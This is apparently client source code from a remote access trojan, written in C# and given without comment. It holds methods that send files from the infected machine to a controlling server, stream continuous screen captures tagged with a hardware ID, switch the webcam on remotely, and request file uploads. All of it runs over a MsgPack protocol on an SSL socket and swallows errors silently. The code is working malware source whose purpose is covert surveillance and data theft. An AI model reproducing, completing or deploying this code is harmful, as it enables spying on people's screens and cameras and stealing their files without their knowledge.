public void DownnloadFile(string file, string dwid) { TempSocket tempSocket = new TempSocket(); try { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "socketDownload"; msgpack.ForcePathObject("Command").AsString = "pre"; msgpack.ForcePathObject("DWID").AsString = dwid; msgpack.ForcePathObject("File").AsString = file; msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString(); tempSocket.Send(msgpack.Encode2Bytes()); MsgPack msgpack2 = new MsgPack(); msgpack2.ForcePathObject("Packet").AsString = "socketDownload"; msgpack2.ForcePathObject("Command").AsString = "save"; msgpack2.ForcePathObject("DWID").AsString = dwid; msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); msgpack2.ForcePathObject("File").LoadFileAsBytes(file); tempSocket.Send(msgpack2.Encode2Bytes()); tempSocket.Dispose(); } catch { tempSocket?.Dispose(); return; } }
//private void ChunkSend(byte[] msg, Socket client, SslStream ssl) //{ // try // { // byte[] buffersize = BitConverter.GetBytes(msg.Length); // client.Poll(-1, SelectMode.SelectWrite); // ssl.Write(buffersize); // ssl.Flush(); // int chunkSize = 50 * 1024; // byte[] chunk = new byte[chunkSize]; // using (MemoryStream buffereReader = new MemoryStream(msg)) // { // BinaryReader binaryReader = new BinaryReader(buffereReader); // int bytesToRead = (int)buffereReader.Length; // do // { // chunk = binaryReader.ReadBytes(chunkSize); // bytesToRead -= chunkSize; // ssl.Write(chunk); // ssl.Flush(); // } while (bytesToRead > 0); // binaryReader.Dispose(); // } // } // catch { return; } //} public void ReqUpload(string id) { try { TempSocket tempSocket = new TempSocket(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; msgpack.ForcePathObject("ID").AsString = id; tempSocket.Send(msgpack.Encode2Bytes()); } catch { return; } }
public void CaptureAndSend(int quality, int Scrn) { TempSocket tempSocket = new TempSocket(); string hwid = Methods.HWID(); Bitmap bmp = null; BitmapData bmpData = null; Rectangle rect; Size size; MsgPack msgpack; IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); MemoryStream stream; while (tempSocket.IsConnected && ClientSocket.IsConnected) { try { bmp = GetScreen(Scrn); rect = new Rectangle(0, 0, bmp.Width, bmp.Height); size = new Size(bmp.Width, bmp.Height); bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat); using (stream = new MemoryStream()) { unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream); if (stream.Length > 0) { msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); tempSocket.SslClient.Write(msgpack.Encode2Bytes()); tempSocket.SslClient.Flush(); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } catch { break; } } try { bmp?.UnlockBits(bmpData); bmp?.Dispose(); tempSocket?.Dispose(); } catch { } }
public static void Run(MsgPack unpack_msgpack) { try { switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "webcam": { switch (unpack_msgpack.ForcePathObject("Command").AsString) { case "getWebcams": { TempSocket?.Dispose(); TempSocket = new TempSocket(); if (TempSocket.IsConnected) { GetWebcams(); } else { new Thread(() => { try { TempSocket.Dispose(); CaptureDispose(); } catch { } }).Start(); } break; } case "capture": { if (IsOn == true) { return; } if (TempSocket.IsConnected) { IsOn = true; FilterInfoCollection videoCaptureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); FinalVideo = new VideoCaptureDevice(videoCaptureDevices[0].MonikerString); Quality = (int)unpack_msgpack.ForcePathObject("Quality").AsInteger; FinalVideo.NewFrame += CaptureRun; FinalVideo.VideoResolution = FinalVideo.VideoCapabilities[unpack_msgpack.ForcePathObject("List").AsInteger]; FinalVideo.Start(); } else { new Thread(() => { try { CaptureDispose(); TempSocket.Dispose(); } catch { } }).Start(); } break; } case "stop": { new Thread(() => { try { CaptureDispose(); } catch { } }).Start(); break; } } break; } } } catch (Exception ex) { Debug.WriteLine("Webcam switch" + ex.Message); } }